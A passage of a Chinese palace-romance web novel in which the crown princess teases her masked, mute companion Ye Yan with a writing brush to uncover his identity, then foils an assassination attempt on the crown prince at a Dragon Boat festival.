在西延的十几年,江箐珂跟江箐瑶争,跟继母斗,跟父亲对着来,无非也是为了“公平”二字。 她替母亲感到不公,替死去的二哥哥感到不公,也替自己感到不公。 江箐珂最常想的便是“凭什么”。 凭什么,她要委屈自己,去讨好或成全不在意她的人。 不公平。 就像她和夜颜,她被迫赤裸无遗地被他了解个透,她却对夜颜一无所知。 啧。 也不算一无所知。 粗细长短,倒是非常清楚。 这时,夜颜却提笔洋洋洒洒回了她几行字。 【人活于世,不公平之事本就十有八九。】 【在下也时常觉得不公。譬如,太子妃为何总是那般恣意明朗。】 【太过明朗,明朗得让人艳羡嫉妒。】 江箐珂抬眼看房梁,水润明亮的眼珠子左右转了转。 她被绕得有点晕。 想开口反驳他,却又觉得夜颜的话似乎藏着大道理,可这大道理有点太大,让她一时之间找不到合适的措辞扳回一局。 视线落在笔架上的几根狼毫笔上,江箐珂选了较粗的那支。 这根笔一次未用过,是以还是干干净净的棕褐色。 笔杆在她指间灵活翻转,她默了须臾,开门见山地问他:“如果本宫没猜错,慕容姑娘就是前太傅的女儿穆汐吧?” 【如何猜到的?】 江箐珂不屑地哼笑了一声,忍不住阴阳了一句。 “慕容熹这名字取得挺好,要是能把容字去掉,就更明显了。” 但凡有点脑子的,在知晓慕容熹是个女儿身后,都能猜到吧。 夜颜点了点头,似是在笑。 “夜颜。” 江箐珂看着手中的毛笔,眼波一转,眼底浮出几丝狡黠之意。 “之前,都是你在我身上写字让我猜,今晚,换我写字你来猜。” 夜颜隔着面具,定定地看着她,不知在盘算着什么。 可惜,狭小的狐狸眼缝,让人根本看不清他此时是何种眼神。 江箐珂又问:“如何?” 片刻,夜颜点头许了。 将碍事的茶桌朝夜颜右手侧推了推,江箐珂跪坐在夜颜的腿间。 玉指一勾,她依次扯开夜颜的外袍和里衣,露出疤痕交错的胸膛。 暖黄的烛火朦胧了那疤痕的狰狞,看起来也没那么可怖。 江箐珂言:“我写,你猜,猜出来的字,你就写在纸上。” 两人同时提笔。 一个极细的狼毫笔浸了墨汁,悬在宣纸之上;一个较粗的狼毫笔浸足了清水,悬在夜颜的左胸口上。 从那紧绷的线条来看,江箐珂知道夜颜有些紧张。 落笔之前,江箐珂勾唇,笑得意味极深。 “就猜......你是谁。” 一撇一竖,柔软的笔尖在左胸口上一笔接一笔地划过,留下一串湿凉又异样的触感。 江箐珂每写一笔,夜颜的身躯就会紧绷一分。 他右手提笔跟着写。 起初还能精准掌控力度,写下一个“白”字,到“隐”字时,一个耳刀旁被他写得歪歪扭扭,最后那笔竖勾得长长的,仿若一条小黑虫爬在宣纸上。 至于另一半的“急”字,便真的隐在了他的心里。 夜颜定定凝视着江箐珂。 他胸膛上下大幅起伏,在面具下轻喘。 为了调整呼吸,他长长地吐了几次气,试图让呼吸平缓下来。 可再怎么调整,那胸膛和腹部的肌肉纹理却愈发地清晰,而攥着狼毫笔的手臂上青筋蠕动,仿若数条青色虫子要破肤而出。 “你是白隐,白太傅?”江箐珂问。 夜颜不答,透着那双狭长的狐狸眼,一瞬不瞬地看着江箐珂。 “还是......” 江箐珂的笔尖又换到了他的右胸膛上,落笔写下另一个名字。 那名字的最后一笔,她故意拖得很长很长,长到狼毫笔尖在回勾时,轻轻地在那伞面上一滑而过。 江箐珂低声又问。 “穆汐的哥哥,穆珩?” 软糯糯的语调,好似妖精的魅惑。 第25章 美色不淫,威武不屈 “夜颜,你告诉我......” 收起脸上的狡黠,江箐珂顶着一副人畜无害的表情,目光清凌凌地看着夜颜。 “你到底是白隐,还是穆珩?” 娇娇柔柔的一声,夹带着几分戏弄人的调皮和得意。 她手执滴水的狼毫笔,带着笔尖在夜的胸膛与腹部之间,随意地打圈勾画。 水的清凉,笔尖的纤柔,自是极佳的触感组合。 所过之处,皆在肌骨之上勾起一条条毫无规则的颤栗曲线。 尽管在竭力地克制,可夜颜的肩背还是不受控地微微弓起,时不时带动腹部收紧凹陷,绷出沟壑条条,欲拒还迎地躲着那湿凉的笔触。 而笔尖流下的水珠,则顺着肌肤纹理流动,于深陷之处凝集,在烛火的映照下,形成一个泛着水光的“丰”字。 江箐珂之所以会猜夜颜是穆汐的兄长,是因她还记得左丞府那日贵女们曾提了一嘴穆珩。 当年,穆汐作为太傅之女,并非独自一人在宫内给李玄尧和长公主李鸢做伴读的。 而是与兄长穆珩一起。 同为男子,李玄尧与穆珩一同读书长大,两人的亲厚关系自是可想而知。 而穆府被抄,穆大人被下贬流放,穆珩的处境自然也好不到哪里去。 李玄尧既是重情重义之人,能救穆汐,便也能救穆珩于水火,让他以另一个身份蛰伏在东宫里。 而夜颜也同穆汐一样,神秘兮兮的,似乎只有李玄尧的人才知晓他的身份。 这些蛛丝马迹拼凑起来,都让江箐珂愈发笃定自己的判断。 狼毫笔又浸足了水,悬在那之上。 晶莹的水珠在笔尖凝集,映着摇曳的烛火,滴落在伞面。 狐狸面低垂,急促的喘息间,江箐珂听到了几次吞咽口水的声音。 此时此刻,夜颜就像个玩物,被江箐珂玩弄于鼓掌之中,握笔写字的那只手也彻底垂放在身侧,虚攥成全。 她眸光熠熠,继续笑道:“若你是白隐,就点下头,若你是穆珩,就摇下头。” 夜颜既不点头,也不摇头。 他透过那两条狭长的狐狸眼,只是一瞬不瞬地看着江箐瑶。 见他没反应,江箐珂进一步引诱。 “我看你挺喜欢这把戏的。” 她故意使坏,用笔尖点触了一下,又将衣料给浸湿了一些。 “若是你肯告诉我,今天本宫可以陪你多玩会儿。” 等了片刻,夜颜连头都没动一下。 明显是不想回答她的问题。 江箐珂的脸色登时就落了下来, 随手将狼毫笔扔到一旁,她恹恹道了一声“没劲”,便作罢起身,欲要退坐到一旁。 手腕被一把抓住,江箐珂的身子趔趄,径直跌进了夜颜的怀里。 他捡起刚刚那支狼毫笔,重新塞进她的五指间。 低头努了努下巴,示意江箐珂继续。 “既不告诉我你是谁,又不给看真容,本宫凭什么陪你玩儿?” 江箐珂用力扯手,欲要摆脱那紧紧箍在她细腕上的束缚。 偏偏夜颜力气大得很,她摆脱不得。 “找抽是不是?” “放手!” 江箐珂威吓,并已经准备伸手去够鞭子。 可夜颜仍像方才那般,依靠着美人榻的扶栏,抓江箐珂的手撑在那弓起的膝盖上。 他再次冲那处努了努下巴,示意江箐珂继续用狼毫笔撩拨他。 而另一只空闲的手,则将脸上的狐狸面具稍稍向上推了一寸,露出棱角分明的下颌线。 江箐珂明白了。 夜颜这是被撩上瘾了,以摘面具作为筹码。 这个交易,也不错。 于是...... 提笔润水,照着先前的方式,就着伞面随便写了个“石”字。 箍在手腕上的五指收紧、摩挲,夜颜抬起另一只手,又将狐狸面面具向上抬了一寸。 江箐珂调皮地又写了个“更”字。 夜颜的下颌便彻底显露出来。 殿内的空气开始升温,喉结一滚再滚,那狐狸面具下的喘息声也越发清晰。 一笔又一笔。 衣料上不见江箐珂写下的那些字,而是一片被水洇成一片的痕迹。 夜颜一点点地向上推着面具,直到那两瓣薄厚适中的温软显露出来。 江箐珂停笔端详。 目光如有实质,顺着夜颜的下颌曲线一点点勾勒游移,最后落在夜颜的唇上。 他的双唇饱满而不厚重,唇珠微起,唇线如描,两侧唇角隐隐藏笑,是不语亦温。 亲眼看的和盲眼摸的,果然不一样。 可单靠这一张嘴,就如管中窥豹,江箐珂还是很难想象出夜颜的全貌。 就仿若是一幅画,你见到空白的一角,根本想象不出被遮掩的那卷轴上画着怎样的奇山异景。 不过越看越觉得夜颜的唇型有几分眼熟。 可人越是想努力想起什么,有时偏偏想不起来。 像谁呢? 像慕容熹吗? 似乎......也不太像。 像白隐? 白隐的嘴长什么样来这儿? 加外就见了三次,现在回想白隐的样子,脑海里的五官反倒模糊不清起来。 杨柳细腰不堪一握,粗壮温烫的手臂一圈,江箐珂在愣神之际,被带进了夜颜的怀里。 夜颜仰着面,朝她靠近。 喉结轻滚,唇齿微启,湿热的气息从唇缝里溢出。 他在乞讨一个吻。 握着笔的手扶住夜颜的侧颈,江箐珂也不知是怎么了,好像鬼迷心窍一般,竟然为那张嘴而折腰,俯首蜻蜓点水地亲了一下。 夜颜唇角上扬,皓齿微露。 那温柔的弧度挂着几丝甜意,甜得人心跳都乱了节拍。 而笑容好似会传染,江箐珂无意识也跟着翘起了唇角。 很显然,夜颜并不满足于这一吻。 他还想要更多、更多。 掐腰的手转而攀上江箐珂的细颈,揉捏摩挲的同时,坠着她的面颊再次朝他靠近。 江箐珂则瞧着那推到一半的狐狸面,想伺机一把给他掀了。 面具虽然遮挡了视线,可夜颜仍然掌控着江箐珂的一举一动。 伸出的手未等碰到狐狸面具的一角,夜颜便抓住了那只不安分的小手。 亲吻强势朝她的唇瓣欺来。 江箐珂的上身则向后倾了一寸。 夜颜扑了空,唇角一扬,继续追着讨亲。 适才用来挑逗的狼毫笔,此时则成了威胁的物件,抵在夜颜的喉间。 “夜颜,你未免也太贪心了些。” “本宫只是答应陪你玩玩小兄弟,可你脸都不给看全,就想凭一张嘴求亲,当我好勾搭啊。” 江箐珂硬气道:“告诉你,我江箐珂是美色不淫,威武不屈!” 她挣脱要走,夜颜却将她箍得更紧。 江箐珂开始谈条件。 “既然如此,那你要么把面具摘了,要么就回答我你是白隐,还是穆珩。” “或者......” 思忖了一番,江箐珂用狼毫笔在夜颜的喉结来回轻扫,勾着他道:“本宫想听你喘,就像我之前那样,你也喘几声给本宫听听,好不好?” 第26章 他生气了,不来了 夜颜油盐不进,哪个都不选。 虽说夜颜是挺像个哑巴的,可江箐珂仍不是百分百地信他。 浮生若戏,戏中世人各扮嗔痴。 深情可演,哑巴可装,只要用心,有什么不可能的。 笔杆子挑起夜颜的下巴尖,带着几分疯劲儿,江箐珂幽幽启唇。 “装哑巴上瘾吗?” 她俏皮地撅了下嘴,拧眉嗔怪。 “让你叫几声给本宫听听怎么了,又不是让你说话。” “就哼哼几下而已,还怕我以后能认出你的声音不成?” 言语诱哄的同时,笔锋轻顿,狼毫笔的笔尖一路下移,画出一条清水直线...... 江箐珂也是初次这么霍霍男人,心里多少有点害羞。 真的。 她真的很害羞。 都不敢多瞧一眼笔下之物,而眯着眼用毛笔在上面乱涂乱画、瞎霍霍的。 笔尖干了,就浸点水。 好好的一个夜颜,进殿时还衣袂翻飞,仙气飘飘。 可现在,湿了身的他仿若自甘堕落坠红尘的谪仙,衣衫不整地撑坐在那里。 大敞的中衣和外袍滑至肩下,松松垮垮地斜挂着,要掉不掉,而露出圆浑健硕的肩膀,则在那半披的发丝间若隐若现。 堪堪一幅勾魂动欲的狐仙图。 狐狸面微仰,他唇瓣虚张,紊乱粗重的呼吸逐渐烫耳。 听得江箐珂也跟着意乱情迷,面红耳赤。 忙活了大半天,握笔的手的都酸了,夜颜也没哼唧出一声给她听。 江箐珂很是败兴。 视线忽然落在一处,她唇角斜勾,邪气一笑。 江箐珂相信,没人能逃过这一招。 后悔自己怎么没早点想到。 她翻身骑坐压在夜颜的那只腿上,笔尖在他脚心处,如羽毛般轻轻搔弄,痒得夜颜一脚力度没控制好,直接把江箐珂给踹到了地上去,摔了个狗吃屎。 两人都是一愣。 一个坐着愣,一个是趴在地上愣。 江箐珂起身,愤愤地将那支狼毫笔朝夜颜扔了过去。 “你敢踹我?” “找抽是不是?” 话音未落,她便去寻鞭子了。 刚刚那一触即发的情欲,也皆因脚心那几笔给痒没了。 面具归位罩住整张脸,夜颜坐在榻上平复呼吸。 心想以痒克痒,还真是个毒招。 是时,龙刺鞭带着一声脆响,径直朝他抽来。 夜颜没躲,而是堪堪受了那一鞭。 鞭上锋利尖锐的倒刺扎进皮肉里,在他的侧肩上挑起一条鲜红的抽痕。 江箐珂立刻收鞭。 她怔在那里,看着夜颜身上的鞭伤,是又气又恼又自责。 “你......你有病啊!” “怎么都不知道躲一下啊?” 殿内所有的旖旎都此刻散个干净。 江箐珂悻悻将龙刺鞭扔到旁侧,气呼呼地找来药膏的和包扎用的棉布条,又气呼呼地回坐到美人榻上给夜颜处理伤口。 她低头不说话,紧抿着唇,一副气囊囊的样子。 余光里,夜颜隔着那张狐狸面具,一直在瞧着她。 半晌,他转身将那茶桌拉到身前,捡起榻上散落的狼毫笔。 【无碍,也不是很疼,别担心。】 江箐珂瞥了一眼,没搭理他,拿起棉布条给他包扎伤口。 半晌过后,夜颜又写了行字给她看。 【若在下真是个哑巴,太子妃可会嫌弃?】 “当然。” 江箐珂现在心气儿不顺,说起话来自是没句好听的。 “不嫌弃,难不成要喜欢吗?” “天下好男人千千万万,我堂堂太子妃,太子都不喜欢,会在意你一个臭哑巴?” 夜颜看着江箐珂默了良久。 他没再写什么。 穿好衣袍,同江箐珂微微颔首行了个礼后,走了。 他怎么就走了? 江箐珂起身大步追至殿门前,本想开口叫住夜颜的,却又把话咽回了肚子里。 凭什么挽留他。 他算老几啊。 “夜颜公子怎么走了,不留在这里过夜了?” 守在殿门外的喜晴走过来问道。 江箐珂转身回殿,摆出一副满不在乎的样子。 “爱留不留,谁稀罕他在这儿过夜啊。” “又不是我夫君,没名没姓没脸皮,还是个哑巴。” 夜颜这夜一走,连着几日都未再来过凤鸾轩。 江箐珂也分不清,夜颜是因那一鞭子生气了,还是因嫌他是个哑巴而生气了。 ...... 今日是端午。 每逢此节,礼部都会在京城的玄武湖举办一场赛龙舟,让君臣与百姓观赛同乐。 李玄尧今年刚入主东宫,受皇上之命,须携几名心腹亲信,参与此次龙舟竞渡。 借此机会,于万民之前,展现下他年轻储君英姿勃发的形象。 是以,天刚亮,李玄尧早早便出宫,带人去玄武湖准备。 而江箐珂则是在午时,跟着皇上和惠贵妃的仪仗后面,坐着马车,夹在浩浩荡荡的队伍里,朝着玄武湖而去。 玄武湖的一侧建了四层高的观景台。 一层坐着亲王权臣,一层坐着各宫妃嫔,最上面的一层自然是帝王和中宫、东宫之主,以及几名皇子公主。 文德皇后过世后,大周国始终未再立后,是以陆氏惠贵妃便是中宫之主,雍容华贵地端坐在衡帝身侧。 三皇子被刺身亡后,江箐珂听说惠贵妃伤心欲绝,大病了一场。 可时隔半月有余,再见惠贵妃,她妆容艳丽妩媚,神情高傲从容,早已不见半点丧子之痛。 相反,倒拉着她生的十一皇子在衡帝身侧有说有笑的。 几声急鼓响起,玄武湖上的龙舟大赛就要开始了。 江箐珂将视线收回。 不经意间,瞥到一个身影。 收回的视线又晃了回去,落在了衡帝身侧一位小公公的身上。 小公公眉目俊朗,长身玉立,年纪看起来也就是二十出头。 他微微弓着肩膀,规规矩矩地站在比他矮大半个头的御前老太监身后。 江箐珂之所以会留意到这位小公公,是觉得他器宇不凡。 明明是个伺候人的小太监,却有种贵气在身上。 且看他时,不知为何,会有种若有似无的熟悉感。 怎么说呢,那种贵气,还有那种气场,会让江箐珂下意识想起两个人。 李玄尧。 还有夜颜。 第27章 李玄尧的暗卫 “太子妃,快看,那是殿下的龙船。” 曹公公的话将江箐珂的思绪从那小太监身上拉回。 她转头看向玄武湖,只见数十条龙舟早已争相竞渡在湖面之上。 李玄尧划的那艘则是条紫色刷金的。 隔得太远,江箐珂也看不清船上都有谁,李玄尧又坐在何处。 江箐珂撑腮瞧了一会儿,不免又想起了夜颜。 她低声问曹公公:“这几晚,怎么不见他来了?” 曹公公凑到江箐珂身侧,压着嗓子,极小声地回道:“上次从凤鸾轩出来后,那夜颜公子便闷闷不乐的。问了也不说,太子殿下又看他受了伤,便让公子先歇息几日。” 江箐珂抿唇纠结了片刻,最终还是放下脸来,别扭地问了一句。 “殿下让他歇息几日啊?” 可问完了,她又开始后悔。 遂立马找补道:“他还欠本宫几鞭子没抽呢,我这人脾气不大好,别人欠我什么,我夜里想起来会睡不着觉的。” “奴才知道。” 曹公公低头笑了笑,一副心知肚明的样子。 “太子妃大可放心,太子殿下也想早点让皇上抱上小皇孙,打消外面的流言蜚语。” 曹公公谨慎地看了看周围,将声音压得更低了些。 “估摸着,过不了几日,就会让夜颜公子去凤鸾轩了。” 江箐珂听了这话,不是放心,而是心里堵得慌。 好像除了给李玄尧生孩子外,夜颜就没有别的理由来见她了。 她没好气地揶揄了一句。 “夜颜公子如此卖力地要给殿下生儿育女,不知道的,还以为他俩是一对儿呢。” 曹公公浅笑不语。 江箐珂望向湖面上的那艘紫色金龙船。 那龙船就像是顺风而行似的,在阵阵鼓声中,搅起大片大片的水花,毫无悬念地将其它龙船远远甩在后面。 想想李玄尧那养尊处优的体格子,能把船划这么快的,肯定靠的是其他人。 “夜颜可是在那船上?” 江箐珂试图套话。 偏偏曹公公跟个泥鳅似的,滑不溜秋。 他笑吟吟的,答得异常地快:“不在。” 于是,江箐珂又问:“那船上都有何人?” “谷丰他们四个,东宫的几名黑甲卫,另外还有白太傅。” 江箐珂有些意外:“白太傅?” 曹公公笑道:“不瞒太子妃,这龙船还是白太傅亲手做的呢,从年后就开始做了。” 江箐珂望着那龙舟,盼着这功夫白隐要是能落水就好了。 她定让喜晴第一个跳下去救他,因为她是个旱鸭子。 眼见着那条紫色描金龙舟就要冲达终点,一举夺魁,对面的湖岸上,突然有数十支羽箭从围观呐喊的百姓之中齐刷刷射出,带着繁杂的蜂鸣,径直朝李玄尧的龙船射去。 刹那间,对岸的百姓惊慌万状,四处躲闪,哭喊尖叫之声此起彼伏。 观景台上的文武百官、皇子公主,还有各宫妃嫔皆是慌乱惊恐无比,纷纷起身冲到护栏前,视线齐齐聚焦在李玄尧的那艘龙船上。 大周的储君,若是出事,那便是天大的事。 所有人都在担心当朝太子的安危,唯有衡帝面色不变,拄着龙杖,稳如泰山地坐在那里。 如鹰般犀利锋锐的目光沉沉地注视着湖面上的动静。 江箐珂亦是冲到观景台的扶栏前,紧张地思考应对之策。 偏偏曹公公也是处乱不惊,端着游刃有余的姿态,跟着江箐珂身后宽慰她。 “太子妃尽管放心。” “太子殿下这些年时常和刺客打交道。” “可谓是几月一大刺,几日一小刺,早就习以为常了。” “这么好的行刺机会,太子殿下怎么会没有准备呢。那船上的人都穿着软金甲呢,不会有事儿的。” 江箐珂难以置信地看向曹公公,惊叹他怎能如此从容。 她道:“软金甲能护身,可护不到脑子啊。” 李玄尧若是死了,她不就得给他陪葬。 就算不陪葬,成了寡妇,还不得被西延的继母和江箐瑶笑掉大牙。 “太子妃快看。”曹公公指向湖面。 只见紫色龙船上的十二人手中各执盾牌,盾牌连着盾牌,就像十二把金属色的油伞一般,将龙船护了个严实,挡住了那一波接一波的箭雨,直到官兵赶去捉拿散藏在各处的弓箭刺客。 就当所有人都松了一口气时,江箐珂却瞧见李玄尧的龙船后面,隐隐有两个人影在水面下快速游动。 见身边的侍卫还在犯傻,江箐珂立即从一名黑甲卫的手中夺过弯弓。 就在此刻,那湖中的两人突然浮出水面。 一人拖举着另一人,刺客借力倏然跃出水面。 明媚的骄阳下,刀身反着刺眼的光芒,径直朝着船尾之人砍去。 搭弓拉弦,熟练的手感下,江箐珂射出的羽箭带着破竹之势,径直朝那刺客射去。 握刀的手被江箐珂精准射中,长刀于半空坠入湖中。 可同时,有人三箭齐发,接连两次,射杀了湖里的那两名刺客。 那箭力甚强,强得那接连两次的三箭皆将两人的射穿。 且只见箭矢,不见箭尾。 由此可见,拉弓射箭之人的臂力非同小可。 那三箭连发的方向,正是从她的上方而出。 而观景台的上面,便是飞檐青瓦。 江箐珂眉头蹙起,将头探出扶栏之位,想要看看那立于飞檐之上的人。 两人离得有点远。 江箐珂在飞檐下的北头儿,而那人是在飞檐上的南头儿。 “太子妃,当心啊。” 曹公公和喜晴异口同声,纷纷过来抓住半个身子都探出去的人。 而立于高高檐瓦上的人也有所察觉,微微侧头,朝江箐珂望过来。 那男子手执长弓,后背箭筒,一身玄衣,双袖紧收,腰间黑色皮带勒出窄细劲瘦的腰身,而头上则戴着一顶黑纱帷帽。 清风拂过,吹得那帽下帷纱轻飞飘舞,宛若几缕黑烟在袅袅而动。 忽有帷纱被风鼓起一角,露出帷帽下的那张脸。 可惜,那张脸上还挂着一层黑色面纱,仅仅露着一双眼。 是那双久违的,且独一无二的异瞳。 异瞳男子冷冷地睨了江箐珂一眼,赶在更多人发现他之前,转身翻跃而去。 江箐珂脑子里闪过的第一个念头便是:异瞳男子是李玄尧的暗卫。 第28章 夜颜也是这么夸她的 李玄尧有惊无险地赢了这场龙舟竞渡。 仿若一切未曾发生,观景台上的端午席宴歌舞升平,举觞交错,笑语盈盈,粉饰着夺储之争下的太平。 而衡帝也照旧为赢得头三的龙舟赐赏。 头赏之人李玄尧,完好无损地站在江箐珂的身侧。 一改平日的儒雅谦和之派,今日的李玄尧金色蛟龙簪束发,额头绑着镶了玉的紫色发带,一身紧身的绛紫色骑射服,衬得他雄姿英发,比平日里要帅气了不少。 年迈虚弱的衡帝拄着龙杖,目光沉沉落在李玄尧的脸上。 当着宗亲国戚、文武百官,他以高位者的威严姿态,扬声开口。 “今岁端阳竞渡,东宫一马当先,太子统舟夺魁。” “朕观太子奋桨争流,号令严明,统御有度,且处乱不惊,从容不迫,初见储君之风,天家之器。” “汝能于万众之前展我皇家风骨,实令朕心喜。” “望太子日后不止竞舟之勇,更怀治世安民之志。” “太子想要何赏赐,尽管开口,朕必赏无疑。” 李玄尧甩袍跪地,垂头拱手道:“多谢父皇。儿臣只愿父皇身体康健,国泰民安,并无何想要之物。但......” “但什么?”衡帝问。 李玄尧说:“儿臣想把受赏的机会,让给儿臣的妻子,太子妃江箐珂。” 正在一旁神游的江箐珂听得激灵了一下。 啥,啥,啥? 李玄尧要把赏赐让给她? 咋就突然这么爱她了? 她茫然看向李玄尧,李玄尧则一脸深情宠溺地看向她,看得江箐珂脊背一凉,尬得鸡皮疙瘩起满身。 可真会装啊。 因为慕容熹的事儿,李玄尧都多少日子没露过面儿了。 上次还跟她杀呀死呀的,这功夫就扮起了夫妻情深。 是时,李玄尧还牵起她的手,笑意温和道:“这是箐珂嫁给儿臣的第一个端午节,儿臣想把赏赐的机会送给她。” 衡帝满意地点头笑道:“甚好。” “太子妃,说吧,想要同朕要什么赏赐?” 江箐珂:“......” 这么好,那她可就不客气了。 “儿臣要什么赏赐,父皇都可以?” 她问得心里有点没底儿。 “尽管说,只要朕办得到,任何赏赐都可以。” 衡帝颔首浅笑,目光也跟着慈和了不少。 有了衡帝着重说的“任何”二字,江箐珂便大胆开口了。 “启禀父皇,儿臣想替远在西延的父亲求个赏赐,以作为下个月的寿礼送给父亲。” 衡帝很是意外,且也为江箐珂的孝心而感动。 他目光赞许地看着江箐珂,和声问道:“太子妃想给江大将军讨个什么寿礼呢?” 江箐珂扮着娴静温顺的淑女模样,说起话来也是慢声细语的,根本不像是动不动就会甩鞭子要抽人的太子妃。 “家父虽年纪大了,却也是老当益壮。” “无奈继母善妒,这么多年都不许父亲娶个妾室回府。” “如今,家中继母整日病恹恹的,无法侍奉父亲左右。” “儿臣可怜父亲辛苦劳累一整日,夜里回到府上,却连个贴心的枕边人都没有。” “遂在此恳请父皇能赐个美人给儿臣的父亲。” 江箐珂的算盘打得噼里啪啦响,脸上的笑意是压也压不住。 她脆生生地又道:“美人的年纪也不能太小,毕竟儿臣父亲的年纪在那儿呢,且年轻女子心机浅,没什么阅历城府,定是斗不过我那继母的。” “父皇随便赐个寡妇或者是宫中的嬷嬷,送到西延,给我父亲当平妻便可。” 向来威凛严肃的衡帝突然捶腿大笑,乐得都快直不起老腰来。 而在场的其他人则是用异样目光看着江箐珂,包括李玄尧。 他那表情,好似在看一个疯子。 可自小在西延军营玩大的江箐珂,脸皮自是比寻常女子要厚,根本不介意那些世俗眼光。 衡帝笑了大半晌,抬手指了指江箐珂,似是赞赏她的鬼灵精怪,又似替江老将军感到无奈。 “你啊,你啊,真是你父亲的……好女儿。” 衡帝大手一挥,高声道:“朕就成全太子妃的一片孝心!” 他随后便同身旁的御前太监交代。 “就按太子妃说的办,选两个年纪稍长的美人,赶在江大将军的寿辰之前送到西延,一个赐为平妻,一个便赐为良妾,协助将军府的主母一同侍奉江大将军。” 以牙还牙,大仇得报,江箐珂别提多痛快了。 她五体投地,高声叩谢。 “儿臣,多谢父皇!父皇万岁万岁万万岁。” 领完赏,江箐珂与李玄尧一同回到席位。 端午的雄黄酒一杯接一杯地喝,尽管口感辛辣苦涩,可江箐珂心情好,越喝越觉得这酒有股子甜味儿。 李玄尧侧头瞧着她,眼中噙着似有还无的笑意。 他不解道:“把自家父亲给祸害了,就这么开心?” 江箐珂眉眼弯弯,点头回他。 “开心自是当然的,但殿下说的前半句不对。” “怎么能是祸害呢?” 她端着一脸天真无邪的表情,“我明明是孝顺,为了父亲好啊。” “我给父亲送了个平妻和小妾去西延,让他每日温香暖玉在怀,夜里尽情风流快活,父亲大人感谢我还来不及呢。” 李玄尧摇头叹气。 “家丑外扬,岳父大人的名声怕是......” 江箐珂摆手打断。 “名声?” “他要是在乎名声,当年就不会背着我母亲在外面养了个外室,更不会把外室接回将军府,抬为平妻。” 又端起一杯雄黄酒,江箐珂痛快饮下。 她同李玄尧道:“武将同文臣学士不一样,尤其是边陲的将士,都是整日将人头挂在裤腰带上的人。” “他们啊,只活在当下,除了生死,声誉名利都是浮云。” “殿下认为的祸害,对于我父亲来说,根本什么都不是。” “真正被我祸害的其实是我那继母。” 说到继母张氏,江箐珂眉眼挑动,唇角的笑意漫至眼底。 光是想象张氏在收到圣旨、看到那两位美人时的表情,江箐珂就乐得合不拢嘴。 她不在西延,继母和江箐瑶的日子,不要过得太滋润哦! 她母亲在九泉之下可要气得死不瞑目的。 不给她们娘俩添添堵,就不是她江箐珂。 “爱妃确实跟京城的女子不同。” 李玄尧若有所思地看了江箐珂半晌。 也不知是他在装情深给别人看,还是在琢磨着什么。 喝了杯雄黄酒后,李玄尧突然轻声笑道:“爱妃确实跟京城的女子不同。” 江箐珂爱答不理道:“想说我粗鄙、野蛮、凶悍,就直说,拐着弯儿骂人,更讨厌!” “爱妃误会了,本宫说的是好意。” 李玄尧不由叹道:“你母亲早逝,继母膝下竟能长成这等明朗直率的性子,实属难得。” 明朗…… 夜颜也是这么夸她的。 江箐珂默了默,突然一脸怅然。 她说:“因为兄长把我养得好。” 虽然儿时告状,没少挨他揍。 李玄尧静静地凝视了片刻,忽而问她:“爱妃真的嫌弃,夜颜是个不能说话的哑人?” 江箐珂嘴贱。 凑过去,煞有介事地问:“那还有别的选择吗?人是殿下选的,来不来凤鸾轩也全凭殿下决定,妾身嫌弃有用吗?” 李玄尧装模作样地摸她头,唇角噙笑,凑到她耳边像是说悄悄话一样,咬牙切齿道:“最该哑巴的是你。” 第29章 从未体会过的滋味 端午宴席终于散了。 离开玄武湖林菀前,众人又跟着衡帝来到湖边,一同投粽祭江。 西延那儿没这风俗,江箐珂扔粽子扔得不亦乐乎。 她使劲往湖中心扔,连扔个粽子,都要争那个投得最远的。 “太子妃。” “别扔了。” 喜晴扯了扯她的衣袖,凑到江箐珂耳边悄声提醒。 “快看白太傅那边,这可是看胸的大好机会啊。” 看吧,喜晴对扒男人衣服看胸一事,比江箐珂还执着。 视线寻着白隐而去,江箐珂会意了喜晴的意思。 趁白隐在湖边扔粽子,把他推下水,那就是扒衣服确认的最好机会。 江箐珂同喜晴交换了下眼神。 两人神不知鬼不觉,一步步挪到了白隐身后。 喜晴人机灵,特别会见机行事。 恰好白隐身旁有个人抬手扔粽子,喜晴就故意凑上前去碰瓷儿。 她装作被人胳膊肘打到了脸,“啊”的一声,捂着脸故意往白隐身侧躲,然后趁机将人绊倒进湖水里,引来了众多视线。 “哎呀,竟是白太傅。” “奴婢罪该万死。” 喜晴佯做惊慌状,想也不想,就跳进了湖里要救人。 结果却被谷丰抢先了一步。 白隐湿淋淋上岸,狼狈至极。 众目睽睽之下,有失颜面,谷丰便受李玄尧之命,紧忙抚着白隐去观景台里,寻个屋子处理下。 喜晴满脸歉意地追上前去,江箐珂也很是愧疚地亦步亦趋。 “太傅的衣服都湿了,快脱下来拧拧水吧,免得染了风寒。” 大串的水珠顺颊而流,白隐却依然谦谦有礼,保持着儒雅风度。 他摆了摆手,浅笑道:“无妨。” 喜晴主动伸手过去。 “是奴婢害得太傅落了水,就由奴婢侍奉吧。” 可喜晴的小手还未等碰到白隐,就被谷丰抬手打了回来。 “别别别,别以为,不,不,不知道,你们安......安安安的,什么心思!” 谷丰不敢指江箐珂,便只能那手指着喜晴。 “你,你,你......惯犯!” 谷丰霸气地挥手示意:“边,边,边儿去!” “......” “......” 江箐珂和喜晴面面相觑,然后各自尴尬地挠了挠脸。 抬眼睨向白隐,江箐珂发现他也在观察自己。 目光撞到一起时,白隐挑了下眉头,佯做无意地转过脸去,可那唇角里却分明藏着笑。 好看的唇形,薄厚适中,跟夜颜一样,笑意温和,让人如沐春风。 就是不知他在笑什么? 是笑她们图谋不轨,还是笑她们没能得逞,还是些别的什么。 “太,太,太子妃,男男男女.......授授授受……” 江箐珂忍不住抢话:“授受不亲!” 谷丰点头:“啊,对!” 然后做出了请的手势:“请。” 外面那么多人呢,也没法靠武力强扒白隐的衣服,若是闹出大动静来,事情就麻烦了。 江箐珂只好放弃,到手的好机会就这么地被谷丰给截胡了。 两人退出那间屋子。 门都不用她们关,谷丰就哐地一下,从里面把门上了闩,跟防采花大盗似的,很怕玷污了他们的白太傅。 “你近身救白太傅时,有没有闻到他身上有股子药香味儿?”江箐珂问。 喜晴拧了拧身上的水,回想了一下,摇头。 “没留意,就算有,也都被水泡淡了。” 江箐珂看着喜晴身下滴落的那些水,心疼道:“你先回马车上去,把我在车里备用的衣服找一件换上。” 回去寻李玄尧时,江箐珂又留意了一眼皇上身边的那个小太监。 想着让喜晴帮她打听打听。 扔完粽子,这端午节算是过完了。 数量马车顶着午后的大太阳,跟在圣驾之后,井然有序地倾轧着青石砖,离开了玄武湖。 途中,一些大臣的马车则相继默契散开,朝着各自的府邸而去。 李玄尧与江箐珂坐在马车里,又恢复了那貌合神离的疏离之态。 